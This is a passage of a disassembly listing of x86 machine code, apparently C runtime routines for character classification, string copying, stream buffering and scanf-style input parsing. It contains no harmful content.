loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

